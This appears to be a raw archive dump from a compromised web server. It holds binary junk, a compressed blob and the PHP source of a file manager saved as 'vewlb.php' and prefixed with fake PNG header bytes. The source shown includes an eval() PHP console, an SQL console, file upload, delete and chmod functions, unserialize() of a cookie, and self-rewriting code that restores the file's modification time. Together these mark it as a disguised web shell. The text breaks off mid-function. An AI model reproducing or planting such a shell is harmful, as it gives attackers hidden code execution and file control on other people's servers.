?PNG  IHDR ? f ??C1 sRGB ?? gAMA ? a pHYs ? ??od GIDATx^LeY?a?("Bh?_????q5k?*:t0A-o??]VkJM??f?8\k2ll1]q????T ?PNG  IHDR ? f ??C1 sRGB ?? gAMA ? a pHYs ? ??od GIDATx^LeY?a?("Bh?_????q5k?*:t0A-o??]VkJM??f?8\k2ll1]q????T vewlb.php.php.tar.gz000064400000060214151200644160010370 0ustar00K 66ڀ x붤JQuTuJwI眯LD"%z=o{1+fv{ x3a[/>EU泻ǑK+fxEގ~2WW͋ar OaSXps2C︽0E"p(`4b@ x _UTFUmfwQwR ?c6C]̀xGt-MQg)/WPR?.soOO??χ̣:3|>>|'Owj }+=>78}?K|^O{61@#KGD5KM bDf O4HTS֌̨$*wWUG($s(ZY nޖxBy/03ddd9]-rTKf9{Vvw\tE>]~3K+,0аϟA\4=+_ුsS Sd=gsC@ӗܠG'wkkQݔլ@yppk^T2[A}݂Y%QMp ¯ | #[u. uk`N"D9U:KI[U"Jd+˜R dՋT@Ќ9,)(LafNdjU$3LFpN P0\RT Y K)MOf|g)˘Q8,6<xq*90`KA[ jdY" \&lQ)?RSԸ_4w ZmE@@k]jd9FfN`LF 9 $eT &cw" W#@ʂ,[m ~%s:f%94%QcYXW?H}zoOR|Igf{bJ"ס4* _Ѭިj ؊)[*( A=Aso` |4:V`Q+Kt\j [7}4Cܣ~iEq@4X{i:M,?'hkX]6 X ?cPp&8q'WF l ۜ[Qť94c+JhUNlLFFϦ:nƇ@qL @nRG*pJ鏘d4ݑ&KN@X@CJVHX XK+@5 `Ͷ#[Aݾ*fY@en57ʤ5`0-{׀ `! 69c8y h- jͯ9+'.Ei/ZnIVp r6"TjH. -Gq5ħgy w[?'Hu qpQbV(K+5ohM Ԛ{Zܚ$ kFߚ@ZtjM -SK`D'r! 4 0E->}fͰ8ɗ@ӱa@u\hD!pAR(EnOr`G *XTHӇC ]rt؞9b%lcq)4i@1B71[+T}%fa)5Ǚ +4p1PH#<*om&p B&4 u%ٰ fӶ}a*hz*T׶C9ǰb]6+kIaw+KA۠ X ޣk0# ԝpZv9 L-^zqƊڌ]8f|8rLQ.L+^ [e}u++qRFpR L~2z*9G]Z#sÔ;]+&n2) fbh8FJ#dR Ц[5aDՆ< DC*PuI Vd:_=ꨌUl=6;GAȊ;Il㈘ANShhKCe ̜Ă(T0. ?G#Z2V̹a;q2F)Q+U o@py^~VEw<V{jbXǶ^@Ai֬6?hNGCԍo G=iBÜr7 $l\֣oʄ)ƶFV3%0-d eY™Fc3;b<@g ++ "ɬpB_i:6;mǕiM'hop򀿖?L<5VqHvЉHMLPtEu3 ^=$ 35=f)`>)۱FVQ@Q'Ȉs (4fFZՄizܦ.LFPgίqPB&Z"Z7&UdabtߜTSlq>nnT^-(Je$u d" 5i KPߕec ]cqi"0L^TEBFnN!J0JC:8ut#S4-e Qs$tf#8ujp4IM ԁs6vћ.KԊS zM1lTcHJLtf*ٟp.D ;uJ-ԙ^gϮ/~0V\S+8LkjAԵCVoq&~ Y]`AΈov][E߆?@ɛ.w-eEGY2l^I" ?bѦ.ǥzٍ=dT\v|)챁D!́!_f9u*;p[74`*{#ߨՆYh;X*3Nc8zmQѷLpEnOo.2s|Qݕ!p5:OcxAf4ay{4ىqO.SiNf~[]e5inɡ@32:MjA(3r>S;ޤHʪW-3C֐4ݎԣi!XÿSGvt41׷3pq+@sA{rcuTVrEH1'ƫKmvZ[yGyZe.H{of13Yn/*@_6@gIL P!&a9'Z\SE &^)sӺ)-sf.$B;.BΩ'7!ibdLږb@'n'r wg-b{|F @ =jyj>ۥ~ F$*)&nW` bPA#/:"n419r?;_i.*),Cvl;I:6<L`K$!bbQ2\9}T2~z5[{yDNݥnBK3AIHAT,"WXØ| l0|ן"&- zə~bu RKk=4mjmgzF@L.c`bFo^Rfԧ/\cRd]1=eS S2Vs}=]ݲ/[@'.~ u7x ,X}K^t\>3b}'a ǺK?YDʃrvg*" u^aδQGiK)[gDzdT]FR_AW8a`˥t,#: >!G^ Eq .@wivk *aIbтʱ <CfQ.`1QŤN%.u#2s>ѕnU-_81B!@E=d:z|#X9;k{kh$f' > xX9ޙ> jwS[j|" %R iyOQWWIz FF/N8f4q\ye]iֲ֒]TopRZjڼ2߬Zͭ2; 4xO=qMŦv]r,Cp>jb8K aGGPLpi.8P:R ު> =B 0& wL?KA`"܀Z2"> ;N',#*} Ko&3C"Z,T"r~@x` 76cqvBkCz^B$/iC+fQ[Yp_)C8]F{gR;y7One5W])n/NWr}?ZzN ?j7:>kH8ͯõ|(:x>D35'tB&ƉI)bƅ̄LO7OP'A[n:3>•摮"sض8lb2hEOWQn3bFnƇ3os}u=/U5Ubmh1<< eË*Zr:$ӋT.e&kl6^N; MµALi2g#Oܗp:퍅O8 Bd1tx1> hbxZҡVʬ(6RɢZI<_t*$fi*3:Q:}EC*\fȦ:k)Sh$ T!ADž`T epWR*t_HF;x9e3GRo*e>Ӆ*D">L{V"r6~":|:Dv1ȤpF:)o1 E7m %çނV4P;l)!N6O)d![F~A0V|껑tr^PVQI8, V%B5*i>%p_GCgy&G;&wV(iBզ۫J\gARzM]FQүr;/ʩKnևLƝnuviƔ LsRZ3qlmersCZ sTҙ/4R %# ^X5"ގB˴\v=f9~{$ nvuFBS$4s>Wvnrx"yjyy4R)qb`1h"P;H2sX:08Cw Uuóho 6UOrv"g m.9C5Rw.'HM*k0D4sȭm:uZT ncQ;f9]ɖe>hu 9uq ExKAAؑH@V=A^FሻS6Tɥ?ovzy co~.Fp5l̾FS;ߌ&ʇ9K6lۊFl;3\,QY36"`mF7 >\^oEmCyH ôṗ ú5( 'W|agXo>j9Z3wph % Юkc Kq3Q4KEd%}DLiT\~\fُvȬ.GO?v8Rw?'@Gf wx^p `h[UOBoNB]41tFPOOOO۟ ӿOO˟oÿVH !&0Ѕ+)(ñ8P8vw_LdKzBжeg\Cь𚚤YL@"P&*(^S|;xրiD* j%IkxKVU%:[9fa<QrIcZ@Zd_2BD9j Sס뇳1>+=͓$;z.;=Y9ϲy2zD q,aF#[gZ }X̄e VƘ2\W6$̳) A]ns mqڷd0;0`n>t+ۣpM)i<&չLE~˘3jX;MKkAEZOfyW>of-_o!=a0 ]l$Z RԵ6> IT0ktR ?ύ{ sD'8m]9Q々#9ՌXYB,BXss[뀋V R9vrLOv/C["W$϶OWӣmlc\!(Ba"Z!!N"*8  05P|Z.1 |fYA`gw_Qg(Jѕȩ/wWoxAJ|tx}#χ#Q: 0j*_ _03qUL]om⚢4K9$_rB7A4uCma+Ck 4N}5#5O`6ʓڵ(8X7XEY[bwƵ8ͬ20:_dx5Vc^.'(^)Yq^GX)DvS/qԃs꫍iB]Q62!{v9ab@]][Rp|K⑵ۣW$;6yO[EŁC,k}}҉6*ٴ-6_)A5›UA/R$&bBfGS:Iuc4|T,5Q'p(xO֫)׌uV%Ś9Ӓǫ5ҽLLLJEEqe'"Eh+#ya*W`.3E8Eq &MkgJ]|ZN۷ף Oȥp ٯn3 ǂu5TUZ4:P~O4IEsr&) 3p,sϗ_XFt'3?YpFfKr氜bRp>je 뇞,@;2@A@..Lq7,t h@h?17|}T׮6` bLq1(]hTAMwˍ:zNV:of/9z+_;_ȷawЧn;]Bf* ,iGih(b9ROg\/Os'CaUџ?+qB*^& a wVhvy_UnTɃ>p SK2![eh _lsjPh w+qR$3:p;eVpzT #P*F$\1NjU8av<`bdฅLK<:%xQ&%lq^shG VKayYPkm;|tu/f ⹬Q-d֩ axlZ$F@!V}} ;@NS**{7eEygFyq՚[SPI y DoɐnIGSPw P&B4*Vգ͢SӹS?4*pkc:=m[8\>#rg$ld:2N+l yD:-ϕC+4l=Wv/Fn%SOӳDbz;.KLrHCV⍺ 億EMot'M%o5=t<#eTzS⳶<)WfKK I4*B2ZWp~N^}:x# 9 Fq?> Ls1+@қy:J]Tiz|gPR/w&h~%N)xWT&=!K.#jBkV7mW9;7C5(uӑ$nVDWIr"Laڛ7{#e\u&tyZVnE9ѥ, KTLHw3)2҇Y]jgjlkfWt40l狧qܵ li3e;IG{a-gJɶڙczvJ .0[,f9R){3vym{COZʅ~4-''rt<|0q;wA(ns[f.J4۵Fa%%Ӯ5[LsIܴ ͚!)m%&}c6̜q.=(ҝ)Q}qy9};18Lxՙ0ʳa;A>>TfRȳS} ӱ䷁'Yj{'pQ>̃r5Dz|3_?:|v|Z.t;yXE;eRٌ@'#- i@>"Eseۚ'"yROYo:sQ7zhk$rO>`zjH-  \*ސvp5s=3Mv-{ hCHfnϱt3|;Db%ӓ [etSI^5Q.*F׉¨TɮGiׯ6mfj?|POQl.6-'lflłq/ĭ1Yq8آץ.I$sBqŮ6eC)RDFY9$C"ot;O͆G[zN]7Z$J}:3QTD8V ϻ W^c@<yf; L]0XeKȌb/)t̤>ͮ؆Xͳv E9 q6M9nCJ{ [R0+*2*|8tiVq_=OV?Ȱ޲asQύ2 f4vu=^wժ ݜZ;$µS8OUqn2 WuÇm3kAܪa;KkV 0UI{@LՑ mƓxfV]BAAYQM {oՓ[1TRn86 ;xXȭ 5Ɯ֧m3.$jf(\fq D'}Dz⭮A w\6g *!)mt17OZfQ6Og~ʥhfFg|L.³r{5ov<~xQּ>^TA:v(x @.%@++βhx։hhC\0dv?T9#w ұqlɝR8]4:t<*VH)2(\Œ ti;n4ʇתX%1Xw$nu)]tbp;Zϳthl뫨SD|(Ea> Q =ǔ]>0꼬4֣tzXU=&85}b⍖@p6c_Q*)+V4+#OGu۪GO;ռRDFz8v`rQ*ÁcJ+T"AfOl˛Pewc;S9Ay֏gR5 rlAa&AogCtSۊ0\Uyw\NL B1w~6.t#i@skf#x*R@MF8\>iRgkt'F`go{^UVx;>W0?SƟvO`M'onbO@3lKa@ql;~HX`8^zޱ@> S1풸M'Oaz2Jȗd4:UZvx(lc`Ǜ('Ie͂@dbjwO#+)$PIͱ˗$vf%6+ǐϫM" o؆n7ꖑea-'\h\=g`4Au5av7;~<)xy"7D7~&9 powp} }%IfL> `sñ,.fFWj26=Dry:NxZn n[ci#0Z(D(МVPb=cTN?O'!fNK -ʴ Ta]҉|:8ک*p]W.R;De( 4G+AFaz5dbm.ptW<:69&nHڹ4ܭyr˷ .=͘fi{^ޛ'҅H>+)(Io[l Jr5 oi0Q]ߞ&F߅'Qg^$Лf[qnhW7,-cr,)шV aԝtx"jSvs2vrXV⦞KzfWP9r=-c+>y A) Y2 fJ#{ f+Rh%֥ZVFVZ L4S(S&o3jiMYaGe!\#q~oy]vU6{1!f -7[ol!B~f -7[ol!=[Hw}aLbIl!A6 _޸r?l-]^eV[S?iwr3ZcPyxL%fC1' C27J$6%&8=ѻ{+wZtttmb֐TSFNrbd8? :`aSJBp!+r CGMO@Uz(ϦhFReԘWލX ,Ɩ2SLwmt"%َB2dhBζUb4B|8h*7kmO|:?dJm> q![4vN|7쭸EF +ո}6sizZ+3U ft!~:FYXF:i1ʋt¥\kY͋ SћۅAիrt;̉|3EPR).["R\O1_EVNi9ގStNLyE܆AҵX=rr /M/g;(+4u|8( bȕirWm'Diŝ"ó7x.P>>lЩϯμMځw * ~N'fOeBdxݎăG~Ŋ\a6P=IضONp"?)%%$lUǡjYoMZjo֕r/w'jplbzUS׮U9SOE9V'&8z sŰ~ qWQ$ zvYb8JP|$zuTCcROB{ԧCaul{Uk.)x.ȵ&l˓VzZ+*sTNt}[tn 򘨲y6*ѻj*ټ3B{mR(. cM0ݨe 4Z V6.^UV Ȩ}tOOh4/dҁMm7V`l>Tr,wdZT'Ձ<ވ^8*czhdk.)Lz|]8]cRp-<>㏗OI+@HS|zB^+`P{REabЊޅjG ~Dh3tBiG$;b9ψ(E(F uK,cW >Y-QTt)v ͢),{<> (&a[s Ӫ^iKȋ e\i XzO#H(ZtC2.]iqK%i2^i% k+W\]#2m׏^d:Ͳ|im@m_B>0Sx @@ oCOwM.{,nSt큭RL)+XwƉQԈjgX 9EtVP#v/e,14=&m=e |<ٯ8]A.Զ_n}E(s׷[~[-E-"/DQ"};ZI3S<,A,*`wkIlߎk@y:D@.xa=rbZz|OpqZR7u*DV9a]Ƈ|L]\2Hɶ!!^C"2 $c*D-c@%¡hGKt\E%nz4˛ ;Q]3?>\ka&KD0#@6Y6Rań2Lm1|t2; ,h HDU }ܐV]gl#蠯N FRW8nck! 4X)8ڈvu9n*MF$AsٌŚ.$WK8!#yc[.3fb$D^LѵRAƐO]W>aD~W 5$ Ikv s#"yq,.t{j4\/rqB_qtdtw~&6!^6|#y;x<.j- VaH_tnX!CE7ӭK//M|답6 '[ZFdX\i$\pbpVnDOF&lGq"s>g)r{ƾ}pPd(R im`4AsIB `SCw $%M4Kz@Oj!i t{k஍& _r\Ԅ8KJ쬤\A ]oӕP7C-ʓiUʠ]6g?NCkP2!=/kﭐb~Ԓ XGj Y+SDH./b+3Ơ;l"$i65~( `*2ũrƀǢ|](94aDvPYJ˫3b /*A0Ό~ JbG.eq? Cآ"~oN`0 (2Sljk֣^Ee N2 !G0S'+Ti8 6.'5[Z+ii(ɴuCp91 D,":Q8$an0Ɍۦ1 /}}_*LE_?ץ]G1 :N-<o7pV?xsK\*oo]2cu#@},Pcp|1HUNu)@3,?ė S |7c|"܊n_w Ar#V\iP;r?e+/8#qvBM]_Υ{[S؜ղ= xPAO["^˚~QEk_ n&!\ >'I%*%w$02W;l/7}%>9Qy~`zbΝO /cXx;n@ /N|*y^)04o/Sh(wx b&ұ6Uf\a*ЙEdŠ埀0`; Yd57I! Hγw\^ (1h=2G>xa'_lv:tNr7 qrf<3ӳ.s[cJtN7uSxӐҚz ) >]kwg8 2_5+Cxd"vqb'?̍B82_~_vu3Jq@q Ρ ֔a K&tk-X: bd@;2p`Ciw[&4R0.:C`.?Qty Pƽ>n3@౽*) ư0QȎ$0jSCvNkn+ +QN7L!Nt(+fuI.S^Z@lEԝy,y sX] 4m m"2(n8!bȒa˭'WIBf3ZRd2w`1]ڟ x ׿p;| G$ c4ȵʼ1L|@K=D"_sj*&)x/yLIxBu]\nS}F{& =FfSau {kEf&jWriQWBįFW`T˜(WYz@=.{cBcW& ;WcUVqBt%Wh$)~e@ײh;> 1,[@y;:6N>-h|`32[ Ѕ1a=&4t:C}Ke \eU6Q۬]W6G.NzeWVHkzfaF5 0yIjW^9hl1Fc?]^l&F#ָ`Ա6fjA޺F/ՂW$6jR1|#AakK6"%b=HW>X,1Rgm|Djke0x~ MiE԰@߹~d=,rWd͉]F[Iљrp?OqjE!)3 @V-(}D|˶i$p}T~*"-R|r'jI4KQ)fHV)mR8B/ …);#v Du\{#<<^ˬ[7nZCskH!935t^dFM]jhVΈ[G>6UT#圽ߝ)omn|rḢq؞'lyX=B!+UZ[c)%8[mz "jη-0#}d>W(ZXP'e(Ϛ%KBDi/3kQm+ 'U&C_TTs:/Um:ImZP0ۅ\s] Hr9"%~2u^4ߛ*Ol]ߐ}B>G0޼Md޼(gD'5v*[GP LT@xYq%|]-w ͇ LXg{h}73ޟGO#gLҟ_4ֈ(h?j7S6x+?G aO\Ky+KٲtZ_~q601"0Q^[8♢ȂbcNʣ>a)Ӆ)W29Zh6@D([Q@L9b#SepɎkgIbO3K.Ou%{FӗDaCR_5,6wz!E\ULW082^f0FE!.rhL"\k}ʼn\ cd FђMP3;pCP~ϋ{jl9aTJj]ϮޮJckH"զ>(/A H8HRqYI9ŧJ|IO?|: >9u+:=/g|gWLmgOmVzxe\ x/ ;&|\Zg6dMf:&ba^(<4mduY~g AEh'P ,V<[1ar>FTF YqO/`&/-lwTFM {~Cu&ZηcDZ9N >tPD鐗(sq4u+ǵR~}N{m&Ce$@H"bX0b5Lq PWIk-,|D$z~/QK@q 0mhv&PI;j';౩xA60=LcwO38Li`7;f`{~4{DTC9ӫuSdm @#t+"!en]ס`Flr0 nA~uZ3x  ZbPzf݁މrZz/3tIʼ7rC'pV_чBP*lC&e-p4SYAH ":ӆ Ss*ɔL6/KJVo4[N<Gxrٜ_,(7nw‘h,Hzk?h"=>jX5QO\} | >R+? LS^@<:`Ӫ[0E@M2uUAMCԄz({|eG9U=TJ [&@iqÇ9뼣h<0DŽ >@(S)h") b-AnSTqy lA76A2Pڂ^ $2@%{ O(55C0`1W4qn1#TH= jY/dU$9lsk\֝aέq(E&P *wRrL`WnRHSwt&%(P ~߇}Ho MqeEJ">8dˆB&~D$?r{qŁ·46[~"mp'on$^pHurl|5"Dƒ'pSzJ$_sv{=_(Q볢O/ԯuIQq!-;RP_ !M3mck@ :ݡbХF=ARV5 HnO>S<|e0MJ+ZpsP%8UitZj|0:bpkxǍ7?ta>/QX$rĞ)2;~ƨ쇱3CFΕl@N;4ZqWh/ܮYS9@pDpѓ_w~>4URe .p's2GZAңi1^p~ӆ~@!?Ї@74i,?#ENJ^|ŏk1 : T2?1?-AMX?FRz@*ʒ`M$〰O{h,Nt}'$Yt,\8ҊjspHek `RdQd!E{r@s}F2ҭQ <2M<G]LR,yxΚ(8jݏ5ؾCZ/(<8#$w66*2[a~+l%&/d?SF,A Z(wr3Z@DP=s̀G u0$Mt8-N@0uA7hhkBΫQjh9,=I(QRIm 4pFM]JqaO^e! +MXxfXl_K_v:dDn^>* Y;;qԜf̋|$53Y] i @<){vC눳9lBrh7. d7 %N,=aKqCiS!r$w-f(CilHj>(ovhS.C0v9SK7Itm'pK#;X p4D~e1լM $Vͳ*ũO謈!T'GBgsug_ >Qk}D9M}1" Њ>C~P'sY>ƌmͿeM9e ,*>ZT>F}. IFKrIx8p?FO7ndr5 "he;gp&{E}k>]uYoْҭF:6 7n@ʼn$(@ԗ?CvLQP%a i;,Jm+c9k%Ki4G߫ZXNSl0$m cX p}DL:O S5d%ǣ͸Dv6Q=$uuGn_-Zl Kd̸oȢkƲ|b=( Z!kp^_kZ?POC'@Xb=f> '(j/~eCxcGrP^K7Xm^ցۢ:zYkjX'%ZBOM=Y=5cI!p]iR`鍀 !H=K T@v?4G;"< |p'h,&6G z|Ɂ0q<4Y9H@4ζӧ dvş2855l"uE5|YV=.[Y͔cLc6M_:/?jJn?_>zRQYuYmƮA P2!ĠXCEǡCnQ+͵A# Mٽ)If!hYpyl -;}!s6SL' pkbB,@ IQh̶0#$CL0ՔuKZ%fU4<{eWL!n0bւBc+H8z.{q(od)q0?ljAN% t:Y $P:HP*NG9bL Q?2ZV =G{ {9jo9 gUX ﷾gI7hmmO48YX*$yUxco55DulkN^Y\<<|Q56X.47xc"ѩ/s%u&|"u\>OUϣy'& ^sޏ]f=ù; "6 8Bl:_uvY_:0 N-^B/4} F~$mM &6lo@FfWs5;ơ"qmB4L~%*׉X(6[n%F3IXKykz1ۅQ >e8in4|W 2M]sC'9SVs#;"Xӿ0V">[ۘ+g7C*\ S3SR׀㥮_|m2C`0.@8W/` ggO,o? <vewlb.php000064400000232115151200644160006377 0ustar00?PNG  IHDR ? f ??C1 sRGB ?? gAMA ? a pHYs ? ??od GIDATx^LeY?a?("Bh?_????q5k?*:t0A-o??]VkJM??f?8\k2ll1]q????T ?PNG  IHDR ? f ??C1 sRGB ?? gAMA ? a pHYs ? ??od GIDATx^LeY?a?("Bh?_????q5k?*:t0A-o??]VkJM??f?8\k2ll1]q????T true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: 